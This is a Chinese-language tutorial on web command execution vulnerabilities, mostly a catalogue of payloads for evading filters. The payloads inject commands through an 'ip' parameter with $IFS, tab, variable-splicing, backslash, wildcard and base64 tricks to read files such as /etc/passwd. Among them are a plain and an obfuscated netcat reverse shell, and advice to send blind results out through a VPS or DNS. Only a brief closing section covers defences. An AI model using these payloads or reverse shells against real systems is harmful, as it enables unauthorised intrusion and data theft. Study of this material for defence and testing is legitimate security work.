命令执行与代码执行(Web漏洞及防御)


命令执行与代码执行(Web漏洞及防御)文章插图
命令执行漏洞应用程序的某些功能需要调用可以执行系统命令的函数 , 如果这些函数或函数的参数被用户控制 , 就有可能通过命令连接符("cat ${IFS} test.php// 可以查看test.php的源码!$IFS$9绕过:用于空格过滤
?ip=192.168.1.88;cat ${IFS}$9 test.php// 可以查看test.php的源码!制表符绕过
制表符的URL编码:%09 , 通过%09来代替空格 , 绕过空格过滤!
?ip=192.168.1.88;cat$09test.php// 可以查看test.php的源码!{}绕过
绕过空格过滤
?ip=192.168.1.88;{cat$09test.php}// 可以查看test.php的源码!<绕过
绕过cat命令过滤
?ip=192.168.1.88;cat变量拼接绕过
Linux支持变量赋值 , 通过变量拼接绕过!
?ip=192.168.1.88;a=c;b=at;$a$b test.php// 可以查看test.php的源码!空变量绕过
?ip=192.168.1.88;ca${z}t test.php// 可以查看test.php的源码!系统变量绕过
${SHELLOPTS}是系统变量 , 利用系统变量的字符拼接绕过过滤!
命令执行与代码执行(Web漏洞及防御)文章插图
?ip=192.168.1.88;${SHELLOPTS:3:1}at test.php// 可以查看test.php的源码!\绕过
?ip=192.168.1.88;c\a\t test.php// 可以查看test.php的源码!通配符绕过
* , ?、[]
比如要查看/etc/passwd文件
cat /???/???sw?shell反弹绕过
/bin/nc 192.168.1.88 6666 -e /bin/bash192.168.1.88 转换为十进制:192x256的3次方+168x256的二次方+1x256+88x1=3232235864/b??/?c 3232235864 8888 -e /???/b??hBase64编码绕过
利用系统函数base64对命令进行Base64编码
// id命名对其进行Base64编码:aWQ=解码:base64 -d`echo "aWQ=" | base64 -d`expr和awk绕过
通过命令从其他文件中提取字符进行命令构造
test.txt的内容为:
tonywenxin【命令执行与代码执行(Web漏洞及防御)】获取test.txt中的t字母:
expr substr $(awk NR=1 test) 1 1 // 1:位置(索引从1开始的) 1:个数
命令执行与代码执行(Web漏洞及防御)文章插图
无回显的命令执行
存在命令指定漏洞 , 并且执行此命名没有回显 , 可以通过shell反弹的方式将shell反弹到vps上 , 然后通过vps执行命令 。 如果无法反弹shell , 也可以通过DNS管道解析的方式获取命令的执行结果!
命令执行与代码执行(Web漏洞及防御)文章插图
命令执行与代码执行(Web漏洞及防御)文章插图
命令执行与代码执行(Web漏洞及防御)文章插图
命令执行与代码执行(Web漏洞及防御)文章插图
命令执行漏洞防御服务器配置修复
通过PHP配置文件中的disable_functions禁用敏感函数来修复命令执行漏洞!
函数过滤
escapeshellarg():把字符串转码为可以在shell命令里使用的参数 , 以过滤命令中的参数!
escapeshellcmd():对shell元字符进行转义 , 过滤命令!
代码执行漏洞防御
命令执行与代码执行(Web漏洞及防御)文章插图